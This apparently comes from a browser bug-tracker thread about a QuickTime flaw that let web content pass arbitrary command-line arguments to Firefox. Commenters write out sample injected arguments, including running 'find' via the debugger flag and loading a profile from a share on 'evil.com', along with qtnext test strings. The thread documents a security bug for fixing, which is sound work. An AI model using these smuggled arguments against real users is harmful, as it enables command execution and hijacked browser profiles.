the quicktime bug fixed "-chrome" argument, but other command line arguments may cause problems. assuming arbitrary command line arguments may be given to firefox the following may cause problems: on linux invoking debugger: firefox -d 'find' -g '-ls' executes find firefox -ls -ls is an argument to find. firefox -profile /mnt/NFSSHARE/PROFILE (don't know about windoze, but if M$ shares are accessible via \\SARVAR\ this may cause problems). macosx seems safe and there is no quicktime plugin for linux so can't test it.

(In reply to comment #0) > firefox -profile /mnt/NFSSHARE/PROFILE Interesting. I initially dismissed this because the profile-related parameters aren't handled when we do remoting and forward the call to an existing process, which is by far the most common scenario should someone try to exploit this flaw, but I didn't think of using -no-remote to bypass that: -profile \\evil.com\profile_with_evil -no-remote Fortunately, it seems that on Windows, we use _fullpath() to resolve the argument passed to -profile (see XRE_GetFileFromPath), and I've been unable to get _fullpath to recognize a UNC path. More investigation needed, for sure.

One other interesting thing that I noticed: QuickTime's behavior changes depending on whether the parameters I try to pass include a local file. The following is a list of qtnext attributes and the resulting parameters passed to the browser (I was using files in the http://people.mozilla.com/~gavin/bug/qt/ directory to test): qtnext="-no-remote -profile \\localhost\Users\Gavin\dummy" http://people.mozilla.com/~gavin/bug/qt/-no-remote -profile \\localhost\Users\Gavin\dummy qtnext=" -no-remote -profile \\localhost\Users\Gavin\dummy" http://people.mozilla.com/~gavin/bug/qt/ -no-remote -profile \\localhost\Users\Gavin\dummy qtnext="-profile C:\users\Gavin\dummy -no-remote -console" -profile C:\users\Gavin\dummy -no-remote -console qtnext="-no-remote -profile C:\users\Gavin\dummy -console" -no-remote -profile C:\users\Gavin\dummy -console It looks like QuickTime passes the base URL of the file being viewed if it doesn't detect an absolute path, or something like that. Weird.

> > qtnext="-profile C:\users\Gavin\dummy -no-remote -console" > -profile C:\users\Gavin\dummy -no-remote -console > this may be risky in environments where E: maps to the corporate porn file server.

(In reply to comment #2) > > It looks like QuickTime passes the base URL of the file being viewed if it > doesn't detect an absolute path, or something like that. Weird. > it is ironic that sometimes an exploit fails because of dumb bugs. on seamonkey Bug 371976 may be mail exploit vector.

Apple released a QuickTime update today that fixes this.

to prevent future troubles what about a wrapper that takes a single argument - URL and no command arguments?

That's bug 396196.